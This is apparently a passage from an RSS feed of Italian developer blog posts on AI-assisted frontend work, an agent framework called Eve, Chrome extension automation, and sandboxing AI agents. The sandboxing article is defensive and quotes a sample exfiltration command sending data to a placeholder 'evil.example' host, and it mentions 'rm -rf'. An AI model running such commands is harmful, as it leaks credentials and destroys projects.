&lt;li&gt;semplificare CSS&lt;/li&gt;
&lt;li&gt;ridurre JS e superficie di bug&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;È qui che Baseline diventa uno strumento operativo: ti permette di dire con sicurezza &lt;em&gt;“questo workaround non mi serve più”&lt;/em&gt; senza rompere l’esperienza su browser importanti.&lt;/p&gt;




&lt;h2&gt;
  
  
  Aggiungere UX moderna senza compromettere il support: esempio “swipe to remove”
&lt;/h2&gt;

&lt;p&gt;Un’ottima prova per un workflow AI-assisted è introdurre una UX mobile semplice ma non banale, tipo:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;nel carrello puoi rimuovere singoli prodotti&lt;/li&gt;
&lt;li&gt;su mobile vuoi anche “swipe to remove”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Qui la qualità della guida fa la differenza: senza un riferimento aggiornato, l’agente tende a:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;inventare gesture handling fragile&lt;/li&gt;
&lt;li&gt;ignorare accessibilità&lt;/li&gt;
&lt;li&gt;produrre codice non coerente con i pattern moderni&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Con guide mirate, invece, ti aspetti che l’implementazione:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;definisca un comportamento base robusto (click/tap “Rimuovi”)&lt;/li&gt;
&lt;li&gt;aggiunga l’interazione swipe come enhancement&lt;/li&gt;
&lt;li&gt;rimanga testabile, accessibile e coerente con il target Baseline&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il punto non è &lt;em&gt;solo&lt;/em&gt; ottenere l’effetto, ma farlo senza introdurre un nuovo “debito UX”.&lt;/p&gt;




&lt;h2&gt;
  
  
  La parte che conta davvero: trasformare ogni prompt in una scelta tecnica tracciabile
&lt;/h2&gt;

&lt;p&gt;La promessa di Modern Web Guidance non è “scrivere codice al posto tuo”. È una cosa più utile:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ridurre l’entropia del codice generato&lt;/li&gt;
&lt;li&gt;ancorare le decisioni a best practice aggiornate&lt;/li&gt;
&lt;li&gt;legare compatibilità e fallback a un requisito esplicito (Baseline)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In un contesto reale, questo significa:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;meno workaround inutili&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;più performance misurabile&lt;/strong&gt; (audit prima/dopo)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;più coerenza architetturale&lt;/strong&gt; anche quando chiedi interventi piccoli e incrementali&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Sintesi operativa
&lt;/h2&gt;

&lt;p&gt;Se oggi usi un agente AI per fare frontend e ti ritrovi spesso con output “datati”, il cambio di passo è introdurre un livello di guida moderno e &lt;em&gt;contestuale&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Una routine efficace è:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;definire il target di support (Baseline) del progetto&lt;/li&gt;
&lt;li&gt;misurare con audit ripetibili (Lighthouse) prima di intervenire&lt;/li&gt;
&lt;li&gt;applicare fix moderni dove hanno impatto (LCP, font, risorse bloccanti)&lt;/li&gt;
&lt;li&gt;rimuovere fallback non più necessari quando il support lo consente&lt;/li&gt;
&lt;li&gt;aggiungere UX come enhancement, mantenendo un comportamento base solido&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Quando questo processo diventa automatico anche nei prompt quotidiani, l’AI smette di essere una scorciatoia incerta e diventa un moltiplicatore di qualità: meno codice, più compatibilità reale, più performance verificabile.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/modern-web-guidance-come-far-smettere-all-ai-di-generare-codice-web-vecchio-e-re" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/modern-web-guidance-come-far-smettere-all-ai-di-generare-codice-web-vecchio-e-re&lt;/a&gt;&lt;/p&gt;

</description>
      <category>baselineweb</category>
      <category>performancefrontend</category>
      <category>lighthouseaudit</category>
      <category>cssselectorsmoderni</category>
    </item>
    <item>
      <title>Eve: un modo “convention over configuration” per costruire e far girare AI agent in TypeScript (anche con modelli locali)</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Fri, 03 Jul 2026 09:24:34 +0000</pubDate>
      <link>https://dev.to/frontendfacile/eve-un-modo-convention-over-configuration-per-costruire-e-far-girare-ai-agent-in-typescript-285f</link>
      <guid>https://dev.to/frontendfacile/eve-un-modo-convention-over-configuration-per-costruire-e-far-girare-ai-agent-in-typescript-285f</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Struttura di progetto rigida, tooling in TS, sandbox su filesystem e connettori OpenAI-compatibili: la ricetta per agent riproducibili e deployabili senza impazzire.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Perché un framework per agent, oggi
&lt;/h2&gt;

&lt;p&gt;Costruire un AI agent “serio” non è difficile solo per il prompt. Il lavoro vero sta nel contorno:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;trasporto&lt;/strong&gt; (HTTP, streaming, ecc.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;struttura&lt;/strong&gt; del progetto e discovery dei componenti&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;strumentazione&lt;/strong&gt; (log, tracing, osservabilità)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;gestione dello stato&lt;/strong&gt; e della memoria conversazionale&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;integrazione dei tool&lt;/strong&gt; (funzioni, filesystem, chiamate esterne)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Eve nasce per togliere attrito da questi punti, imponendo una struttura chiara e offrendo un runtime pensato per agent. L’idea è semplice: &lt;em&gt;tu scrivi logica e istruzioni; il framework si occupa di farla girare in modo coerente&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Eve in una frase: convention over configuration
&lt;/h2&gt;

&lt;p&gt;Il cuore di Eve è un approccio “&lt;strong&gt;convention over configuration&lt;/strong&gt;”. Invece di descrivere tutto a mano in un file di config, segui una struttura standard (cartelle e file con nomi noti) e Eve:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;rileva automaticamente tools/skills/channels&lt;/li&gt;
&lt;li&gt;li rende disponibili all’agent&lt;/li&gt;
&lt;li&gt;gestisce parte dell’infrastruttura necessaria a esporre l’agent e interagirci&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Questo taglia tempo su bootstrap e wiring, e soprattutto riduce la variabilità tra progetti: quando apri un repository Eve, &lt;em&gt;sai già dove guardare&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  I concetti chiave: Tools, Prompt, Sandbox, Channels
&lt;/h2&gt;

&lt;p&gt;Anche senza entrare in dettaglio su ogni cartella, ci sono quattro concetti utili per capire come “pensa” Eve.&lt;/p&gt;

&lt;h3&gt;
  
  
  1) Tools: funzioni TypeScript, non magia
&lt;/h3&gt;

&lt;p&gt;I &lt;strong&gt;tools&lt;/strong&gt; sono logica scritta in TypeScript/JavaScript: funzioni che l’agent può invocare per fare lavoro deterministico.&lt;/p&gt;

&lt;p&gt;Esempi tipici:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;filtrare un dataset&lt;/li&gt;
&lt;li&gt;validare input&lt;/li&gt;
&lt;li&gt;generare un piano in formato strutturato&lt;/li&gt;
&lt;li&gt;leggere/scrivere file&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il vantaggio è enorme: invece di chiedere al modello di “fare calcoli” o “ricordare dati”, sposti il lavoro nei tools e lasci al modello orchestrazione e linguaggio.&lt;/p&gt;

&lt;h3&gt;
  
  
  2) System prompt e istruzioni
&lt;/h3&gt;

&lt;p&gt;Eve ti spinge a formalizzare bene le istruzioni: &lt;em&gt;cosa deve fare l’agent, con quali limiti, e con quale stile d’output&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Qui conviene essere pragmatici:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;definisci lo &lt;strong&gt;scopo&lt;/strong&gt; (es. piano di allenamento)&lt;/li&gt;
&lt;li&gt;definisci i &lt;strong&gt;vincoli&lt;/strong&gt; (es. solo esercizi da dataset, durata massima, focus su specifici muscoli)&lt;/li&gt;
&lt;li&gt;definisci un &lt;strong&gt;output strutturato&lt;/strong&gt; (es. JSON) quando devi consumare la risposta in UI&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3) Sandbox: un filesystem “di lavoro” per l’agent
&lt;/h3&gt;

&lt;p&gt;Un’idea molto utile è la &lt;strong&gt;sandbox&lt;/strong&gt;: una directory in cui l’agent può interagire con file e dati.&lt;/p&gt;

&lt;p&gt;È perfetta per:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;dataset locali (JSON, CSV)&lt;/li&gt;
&lt;li&gt;cache di risultati&lt;/li&gt;
&lt;li&gt;file temporanei&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In pratica diventa uno spazio controllato dove l’agent può “operare” senza dipendere da risorse esterne.&lt;/p&gt;

&lt;h3&gt;
  
  
  4) Channels: come parli con l’agent
&lt;/h3&gt;

&lt;p&gt;I &lt;strong&gt;channels&lt;/strong&gt; sono il modo in cui interagisci con l’agent (ad esempio via HTTP). Questo aspetto è importante perché ti permette di trattare l’agent come un servizio:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;in locale per prototipi&lt;/li&gt;
&lt;li&gt;in rete privata (LAN) per uso personale&lt;/li&gt;
&lt;li&gt;deployato su infrastruttura cloud quando serve&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Modelli locali: perché hanno senso (e come si incastrano)
&lt;/h2&gt;

&lt;p&gt;Per prototipi e strumenti personali, usare un modello locale è spesso la scelta più sensata:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;zero API key&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;costi prevedibili&lt;/strong&gt; (solo compute)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;privacy&lt;/strong&gt; migliore (dati che restano in locale)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Runtime come &lt;strong&gt;Ollama&lt;/strong&gt; sono comodi perché offrono un server locale con compatibilità &lt;strong&gt;OpenAI protocol&lt;/strong&gt;: molti framework (Eve incluso, tramite connettori compatibili) possono collegarsi senza adattamenti complessi.&lt;/p&gt;

&lt;h3&gt;
  
  
  Una nota su “E4B”, dimensione e affidabilità
&lt;/h3&gt;

&lt;p&gt;Quando scegli un modello “piccolo” (2B–4B parametri effettivi), ottieni velocità e facilità d’esecuzione, ma paghi in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;affidabilità dell’output strutturato&lt;/strong&gt; (JSON che si rompe, campi mancanti)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;robustezza&lt;/strong&gt; nel seguire istruzioni complesse&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Per questo è strategico spostare più logica possibile nei &lt;strong&gt;tools&lt;/strong&gt; e chiedere al modello soprattutto decisioni e composizione.&lt;/p&gt;

&lt;h2&gt;
  
  
  Un caso d’uso concreto: un “local coach” che crea un workout plan da un dataset JSON
&lt;/h2&gt;

&lt;p&gt;Un esempio pratico e molto realistico: un agent che, dato un problema (es. &lt;em&gt;"mi fa male la schiena"&lt;/em&gt;), crea un piano usando &lt;strong&gt;solo&lt;/strong&gt; esercizi presenti in un dataset locale.&lt;/p&gt;

&lt;h3&gt;
  
  
  Ingredienti
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;un dataset di esercizi in JSON con campi come:

&lt;ul&gt;
&lt;li&gt;nome&lt;/li&gt;
&lt;li&gt;livello&lt;/li&gt;
&lt;li&gt;attrezzatura&lt;/li&gt;
&lt;li&gt;muscoli primari/secondari&lt;/li&gt;
&lt;li&gt;istruzioni&lt;/li&gt;
&lt;li&gt;categoria&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;una sandbox che contiene il file JSON&lt;/li&gt;
&lt;li&gt;tools TypeScript per:

&lt;ul&gt;
&lt;li&gt;caricare e indicizzare gli esercizi&lt;/li&gt;
&lt;li&gt;filtrare per muscoli/attrezzatura/livello&lt;/li&gt;
&lt;li&gt;comporre un piano settimanale o giornaliero&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Perché questa architettura funziona
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Il dataset è &lt;strong&gt;offline&lt;/strong&gt;: niente dipendenze esterne.&lt;/li&gt;
&lt;li&gt;Il modello non deve “inventarsi” esercizi: seleziona tra opzioni reali.&lt;/li&gt;
&lt;li&gt;Il piano può essere emesso in &lt;strong&gt;formato consumabile dalla UI&lt;/strong&gt; (JSON), mentre la UI può renderizzare anche descrizioni “umane”.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Attenzione: salute e responsabilità
&lt;/h3&gt;

&lt;p&gt;Quando il dominio tocca dolore o riabilitazione, conviene impostare nel prompt un perimetro chiaro:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;niente diagnosi&lt;/li&gt;
&lt;li&gt;suggerimenti generici e prudenti&lt;/li&gt;
&lt;li&gt;invito a consultare uno specialista se ci sono segnali d’allarme&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Non è un dettaglio: migliora sia la qualità sia la sicurezza del prodotto.&lt;/p&gt;

&lt;h2&gt;
  
  
  E React / React Native dove entrano?
&lt;/h2&gt;

&lt;p&gt;È utile separare i piani:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Eve come server-side runtime&lt;/strong&gt;: l’uso più naturale. Lo esponi via HTTP e ci parli da una web app o da un’app mobile.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;On-device&lt;/strong&gt; (React Native): teoricamente possibile, ma spesso complicato da dipendenze Node e dalla necessità di far girare un LLM affidabile sul device. Nella pratica è più robusto trattare l’agent come servizio (anche solo in LAN) e consumarlo dall’app.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sintesi e implicazione pratica
&lt;/h2&gt;

&lt;p&gt;Eve è interessante perché riduce l’agent a una cosa concreta: &lt;strong&gt;una codebase TypeScript con una struttura standard&lt;/strong&gt;, dei &lt;strong&gt;tools&lt;/strong&gt; chiari e un canale di comunicazione ben definito. Il “trucco” non è delegare tutto al modello, ma costruire un perimetro solido attorno al modello.&lt;/p&gt;

&lt;p&gt;Se vuoi un primo progetto che dia valore subito, l’approccio &lt;em&gt;dataset locale + tools + output strutturato&lt;/em&gt; è quello che regge meglio anche con modelli piccoli: poche allucinazioni, più determinismo, e un’integrazione frontend molto più pulita.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/eve-un-modo-convention-over-configuration-per-costruire-e-far-girare-ai-agent-in" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/eve-un-modo-convention-over-configuration-per-costruire-e-far-girare-ai-agent-in&lt;/a&gt;&lt;/p&gt;

</description>
      <category>agents</category>
      <category>typescripttools</category>
      <category>ollama</category>
      <category>modellilocali</category>
    </item>
    <item>
      <title>Eseguire agent AI in una sandbox sicura: come evitare token rubati e repository distrutti</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Fri, 03 Jul 2026 09:19:34 +0000</pubDate>
      <link>https://dev.to/frontendfacile/eseguire-agent-ai-in-una-sandbox-sicura-come-evitare-token-rubati-e-repository-distrutti-mm8</link>
      <guid>https://dev.to/frontendfacile/eseguire-agent-ai-in-una-sandbox-sicura-come-evitare-token-rubati-e-repository-distrutti-mm8</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Quando dai autonomia a uno script “intelligente”, devi presumere il peggio: rete e filesystem vanno confinati, e i segreti non devono essere leggibili.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Gli agent AI che “lavorano da soli” (generando codice, eseguendo comandi, installando dipendenze, applicando patch) sono comodi, ma spostano il problema dalla produttività alla &lt;strong&gt;superficie d’attacco&lt;/strong&gt;. Non serve un exploit sofisticato: basta un pacchetto o uno script apparentemente utile che, in realtà, prova a fare due cose molto semplici e molto devastanti:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Esfiltrare segreti&lt;/strong&gt; (token GitHub, chiavi API, variabili d’ambiente).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manomettere il progetto&lt;/strong&gt; (cancellare file, riscrivere configurazioni, alterare pipeline).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;La buona notizia è che questo tipo di attacchi è spesso bloccabile con una strategia chiara: &lt;strong&gt;eseguire tutto in una sandbox&lt;/strong&gt; dove rete, filesystem e credenziali sono sotto controllo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Il problema reale: automazione + permessi = danno immediato
&lt;/h2&gt;

&lt;p&gt;Un agente con accesso alla tua working directory e alla rete può:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;leggere un token presente in variabili d’ambiente o file di config;&lt;/li&gt;
&lt;li&gt;inviarlo a un endpoint esterno con una banale &lt;code&gt;curl&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;cancellare file “scomodi” o importanti (config, lockfile, sorgenti), magari simulando un refactor;&lt;/li&gt;
&lt;li&gt;creare commit, aprire PR, cambiare workflow CI.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il punto critico è che &lt;strong&gt;molte di queste azioni non richiedono privilegi elevati&lt;/strong&gt;: un normale utente con accesso alla cartella del progetto e alla rete in uscita può già fare abbastanza danni.&lt;/p&gt;

&lt;h2&gt;
  
  
  Perché una sandbox funziona: tre barriere fondamentali
&lt;/h2&gt;

&lt;p&gt;Una sandbox efficace non è “un ambiente separato” in senso generico: è un insieme di vincoli tecnici che rendono inutili i comportamenti malevoli.&lt;/p&gt;

&lt;h3&gt;
  
  
  1) Firewall in uscita: bloccare l’esfiltrazione
&lt;/h3&gt;

&lt;p&gt;La forma più comune di furto è “leggo il segreto e lo mando fuori”. Se la sandbox:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;nega la rete in uscita&lt;/strong&gt; di default, oppure&lt;/li&gt;
&lt;li&gt;consente solo una &lt;strong&gt;allowlist&lt;/strong&gt; di domini necessari (es. registry, mirror interni)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;allora anche uno script malevolo che prova a fare &lt;code&gt;curl https://evil.example/steal?...&lt;/code&gt; fallisce per design.&lt;/p&gt;

&lt;p&gt;Questo è spesso il &lt;em&gt;singolo controllo&lt;/em&gt; che fa la differenza tra “incidente” e “tentativo bloccato”.&lt;/p&gt;

&lt;h3&gt;
  
  
  2) Filesystem confinato: niente cancellazioni irreversibili
&lt;/h3&gt;

&lt;p&gt;Se l’agente gira direttamente nel tuo repo locale, un &lt;code&gt;rm -rf&lt;/code&gt; è un disastro. In sandbox invece vuoi:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;un filesystem &lt;strong&gt;isolato&lt;/strong&gt; (container/VM);&lt;/li&gt;
&lt;li&gt;montare il progetto in modalità &lt;strong&gt;read-only&lt;/strong&gt; quando possibile;&lt;/li&gt;
&lt;li&gt;oppure lavorare su una &lt;strong&gt;copia&lt;/strong&gt; (checkout temporaneo) e riportare fuori solo le modifiche attese.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Così, anche se un comando tenta di eliminare file, l’effetto rimane dentro l’ambiente confinato e non “tocca” la sorgente reale.&lt;/p&gt;

&lt;h3&gt;
  
  
  3) Sicurezza delle credenziali: segreti non leggibili (o sostituiti)
&lt;/h3&gt;

&lt;p&gt;Un errore tipico è passare al container le stesse variabili d’ambiente del sistema host. In una sandbox ben fatta:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;i &lt;strong&gt;segreti non vengono iniettati&lt;/strong&gt; a meno che sia indispensabile;&lt;/li&gt;
&lt;li&gt;se servono, vengono iniettati come credenziali &lt;strong&gt;scopate&lt;/strong&gt; (scope ridotto, TTL breve, permessi minimi);&lt;/li&gt;
&lt;li&gt;idealmente l’ambiente restituisce &lt;strong&gt;valori fittizi&lt;/strong&gt; o “mascherati” dove possibile, così il codice non può mai vedere il token reale.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Risultato: anche se lo script tenta di stampare o inviare un token, non ottiene nulla di utile.&lt;/p&gt;

&lt;h2&gt;
  
  
  Un approccio pratico: sandbox basata su container
&lt;/h2&gt;

&lt;p&gt;Per molti workflow frontend (codegen, refactor, linting, test, patch automatiche), un container è un buon compromesso: veloce da avviare, riproducibile, facile da buttare via.&lt;/p&gt;

&lt;p&gt;Una configurazione sensata punta a:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;container &lt;strong&gt;ephemeral&lt;/strong&gt; (si distrugge a fine run);&lt;/li&gt;
&lt;li&gt;filesystem isolato, repo montato &lt;strong&gt;RO&lt;/strong&gt; o su copy-on-write;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;niente accesso&lt;/strong&gt; alle credenziali dell’host per default;&lt;/li&gt;
&lt;li&gt;rete in uscita &lt;strong&gt;bloccata&lt;/strong&gt; o fortemente limitata;&lt;/li&gt;
&lt;li&gt;logging degli step eseguiti (almeno per audit e debugging).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Non è necessario rendere “impossibile ogni cosa”: l’obiettivo è rendere &lt;strong&gt;improbabile e non conveniente&lt;/strong&gt; il comportamento malevolo, e soprattutto limitare l’impatto se succede.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checklist minima per far lavorare un agente senza farsi male
&lt;/h2&gt;

&lt;p&gt;Se stai per far girare un agente AI su una repo vera, questi sono i controlli che vale la pena considerare come baseline:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Deny-all egress&lt;/strong&gt; (o allowlist). Se l’agente deve scaricare dipendenze, valuta mirror interni o domini specifici.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Repo in read-only&lt;/strong&gt;, oppure lavora su una copia temporanea e applica patch “a valle”.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nessun token reale&lt;/strong&gt; nell’ambiente. Se serve GitHub, usa token a privilegi minimi e solo per operazioni specifiche.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ambiente effimero&lt;/strong&gt;: tutto si può distruggere e ricreare.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Limiti di risorse&lt;/strong&gt; (CPU/RAM/timeouts) per evitare loop o comportamenti runaway.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Sintesi: autonomia sì, fiducia cieca no
&lt;/h2&gt;

&lt;p&gt;Gli agent AI sono strumenti potenti, ma vanno trattati come qualunque automazione capace di eseguire comandi: &lt;strong&gt;potenzialmente pericolosa&lt;/strong&gt; se non confinata. Una sandbox ben progettata trasforma un attacco banale (esfiltrare un token, cancellare file) in un tentativo sterile: niente rete utile, niente segreti reali, niente danni permanenti al repository.&lt;/p&gt;

&lt;p&gt;Se l’obiettivo è aumentare la produttività senza aprire nuove porte alla supply chain, la sandbox non è un “di più”: è la condizione necessaria per usare davvero gli agent in modo professionale.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/eseguire-agent-ai-in-una-sandbox-sicura-come-evitare-token-rubati-e-repository-d" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/eseguire-agent-ai-in-una-sandbox-sicura-come-evitare-token-rubati-e-repository-d&lt;/a&gt;&lt;/p&gt;

</description>
      <category>sandboxing</category>
      <category>sicurezzacredenziali</category>
      <category>docker</category>
      <category>agentai</category>
    </item>
    <item>
      <title>Automatizzare lo sviluppo di estensioni Chrome con agenti di coding e DevTools (MCP)</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Fri, 03 Jul 2026 09:14:33 +0000</pubDate>
      <link>https://dev.to/frontendfacile/automatizzare-lo-sviluppo-di-estensioni-chrome-con-agenti-di-coding-e-devtools-mcp-3436</link>
      <guid>https://dev.to/frontendfacile/automatizzare-lo-sviluppo-di-estensioni-chrome-con-agenti-di-coding-e-devtools-mcp-3436</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Un workflow moderno per passare da prompt a estensione funzionante, testata nel browser e pronta per la pubblicazione.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Costruire estensioni per Chrome non è mai stato così “vicino” al normale sviluppo frontend: stessi strumenti, stessi pattern web (HTML/CSS/JS), ma con un vantaggio enorme—puoi modellare browser e pagine sulle tue esigenze. La vera differenza, oggi, è che puoi automatizzare gran parte del ciclo &lt;strong&gt;creazione → installazione → test → debug&lt;/strong&gt; grazie a un setup che combina:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Un coding agent&lt;/strong&gt; (per generare e iterare velocemente sul codice)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Una guida “viva” alle API e alle best practice moderne&lt;/strong&gt; (per evitare output obsoleti)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chrome DevTools per agenti via MCP&lt;/strong&gt; (per far agire l’agente direttamente sul browser)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Il punto chiave è l’ultimo: quando l’agente può davvero &lt;em&gt;controllare Chrome&lt;/em&gt;, non si limita a scrivere file. Può installare l’estensione, attivarla, riprodurre flussi reali (click sull’icona, input in una textarea, ecc.), fare screenshot e verifiche. Questo chiude un gap storico: l’AI che “scrive” ma non “prova”.&lt;/p&gt;




&lt;h2&gt;
  
  
  Cosa puoi fare con un’estensione (in pratica)
&lt;/h2&gt;

&lt;p&gt;Le estensioni non sono solo “popup carini”: sono un modo per cambiare il tuo ambiente di lavoro quotidiano.&lt;/p&gt;

&lt;h3&gt;
  
  
  1) Potenziare le pagine web (content scripts)
&lt;/h3&gt;

&lt;p&gt;Puoi iniettare JavaScript e CSS nelle pagine per:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;analizzare contenuti (es. stimare il tempo di lettura di un testo lungo)&lt;/li&gt;
&lt;li&gt;aggiungere UI contestuale (es. un emoji picker personalizzato in qualsiasi campo input)&lt;/li&gt;
&lt;li&gt;modificare elementi della pagina (sì, anche cose “sciocche” come sostituire immagini con gatti—ma serve a capire quanto sei vicino al DOM)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2) Aggiungere UI al browser
&lt;/h3&gt;

&lt;p&gt;Oltre alla pagina, puoi estendere l’interfaccia di Chrome:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Side panel&lt;/strong&gt; (molto potente per strumenti “sempre aperti”)&lt;/li&gt;
&lt;li&gt;popup dell’azione dell’estensione&lt;/li&gt;
&lt;li&gt;pagine dedicate (tab)&lt;/li&gt;
&lt;li&gt;menu contestuali, badge, ecc.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3) Cambiare comportamenti del browser
&lt;/h3&gt;

&lt;p&gt;Qui spesso si sottovaluta il potenziale:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;gestione tab (gruppi, regole, automazioni)&lt;/li&gt;
&lt;li&gt;scorciatoie e azioni contestuali&lt;/li&gt;
&lt;li&gt;micro-automazioni che migliorano il workflow (anche integrazioni con servizi o device)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Quando costruire un’estensione diventa facile, inizi a farle non solo “per il pubblico”, ma &lt;strong&gt;per te stesso&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Il setup moderno: agent + skill + DevTools MCP
&lt;/h2&gt;

&lt;p&gt;Il problema classico dei coding agent è che, anche quando scrivono bene, possono:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;usare API superate&lt;/li&gt;
&lt;li&gt;sbagliare dettagli “noiosi” ma cruciali (manifest, permessi, icone, nomi file)&lt;/li&gt;
&lt;li&gt;fermarsi prima dell’ultima parte: &lt;em&gt;test e debug reali nel browser&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Un setup efficace include:&lt;/p&gt;

&lt;h3&gt;
  
  
  1) Una skill di “Modern Web Guidance”
&lt;/h3&gt;

&lt;p&gt;Serve a mantenere l’agente allineato su:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;best practice&lt;/li&gt;
&lt;li&gt;API aggiornate&lt;/li&gt;
&lt;li&gt;pattern moderni di UI&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In più, è utile avere una skill specifica per &lt;strong&gt;Chrome Extensions&lt;/strong&gt;, che rende più robusti i passaggi tipicamente fragili (manifest, service worker, permessi, icone, ecc.).&lt;/p&gt;

&lt;h3&gt;
  
  
  2) Chrome DevTools for Agents via MCP
&lt;/h3&gt;

&lt;p&gt;Questa è la leva per automatizzare:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;installazione dell’estensione&lt;/li&gt;
&lt;li&gt;reload dopo modifiche&lt;/li&gt;
&lt;li&gt;trigger di azioni (incluso click sull’icona dell’estensione)&lt;/li&gt;
&lt;li&gt;debug e verifiche (es. screenshot, interazioni, controlli)&lt;/li&gt;
&lt;/ul&gt;

